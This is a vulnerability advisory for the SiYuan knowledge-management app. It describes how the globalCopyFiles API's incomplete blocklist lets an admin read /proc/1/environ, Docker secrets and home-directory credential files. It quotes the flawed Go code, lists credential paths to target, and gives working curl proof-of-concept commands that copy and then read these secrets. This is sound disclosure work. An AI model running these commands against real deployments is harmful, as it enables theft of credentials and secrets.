SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets in github.com/siyuan-note/siyuan/kernel

Open Source Vulnerabilities CVE-2026-32747

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.

Open Source Vulnerabilities GHSA-h5vh-m7fg-w5h6

### Summary POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. ### Details File: kernel/api/file.go - function globalCopyFiles ```go for i, src := range srcs { absSrc, _ := filepath.Abs(src) if util.IsSensitivePath(absSrc) { return } srcs[i] = absSrc } destDir := filepath.Join(util.WorkspaceDir, destDir) for _, src := range srcs { dest := filepath.Join(destDir, filepath.Base(src)) filelock.Copy(src, dest) // copies unchecked sensitive file into workspace } ``` IsSensitivePath blocklist (kernel/util/path.go): ```go prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."} ``` **Not blocked - exploitable targets:** | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens | ### PoC **Environment:** ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```bash TOKEN="YOUR_ADMIN_TOKEN" curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}' curl -s -X POST http://localhost:6806/api/file/getFile \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"/data/assets/environ"}' | tr '\0' '\n' ``` **Docker secrets:** ```bash curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}' ``` ### Impact An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Open Source Vulnerabilities GO-2026-4705

SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets in github.com/siyuan-note/siyuan/kernel